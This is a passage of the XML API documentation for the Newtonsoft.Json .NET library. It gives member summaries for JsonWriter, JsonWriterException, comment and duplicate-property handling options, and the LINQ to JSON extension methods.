name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndArray\">\n            <summary>\n            Writes the end of an array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndConstructor\">\n            <summary>\n            Writes the end constructor.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair of a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd\">\n            <summary>\n            Writes the end of the current JSON object or array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token and its children.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonReader,System.Boolean)\">\n            <summary>\n            Writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt32})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt64})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Double})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Boolean})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Int16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.UInt16})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Char})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Byte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.SByte})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Decimal})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTime})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.DateTimeOffset})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.Guid})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Nullable{System.TimeSpan})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespace(System.String)\">\n            <summary>\n            Writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteState(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonWriterException\">\n            <summary>\n            The exception thrown when an error occurs while writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriterException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriterException.#ctor(System.String,System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriterException\"/> class\n            with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.CommentHandling\">\n            <summary>\n            Specifies how JSON comments are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\">\n            <summary>\n            Ignore comments.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.CommentHandling.Load\">\n            <summary>\n            Load comments as a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> with type <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling\">\n            <summary>\n            Specifies how duplicate property names are handled when loading JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\">\n            <summary>\n            Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Ignore\">\n            <summary>\n            Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Error\">\n            <summary>\n            Throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> when a duplicate property is encountered.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.Extensions\">\n            <summary>\n            Contains the LINQ to JSON extension methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Ancestors``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.AncestorsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, the ancestors of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Descendants``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.DescendantsAndSelf``1(System.Collections.Generic.IEnumerable{``0})\">\n            <summary>\n            Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection.\n            </summary>\n            <typeparam name=\"T\">The type of the objects in source, constrained to <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains every token in the source collection, and the descendants of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Properties(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JObject})\">\n            <summary>\n            Returns a collection of child properties of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JObject\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the properties of every object in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of child values of every object in the source collection with the given key.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of child values of every object in the source collection.\n            </summary>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the values of every token in the source collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken},System.Object)\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection with the given key.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the source collection.</param>\n            <param name=\"key\">The token key.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the converted values of every token in the source collection with the given key.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.Extensions.Values``1(System.Collections.Generic.IEnumerable{Newtonsoft.Json.Linq.JToken})\">\n            <summary>\n            Returns a collection of converted child values of every object in the source collection.\n            </summary>\n            <typeparam name=\"U\">The type to convert the values to.</typeparam>\n            <param name=\"source\">An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see 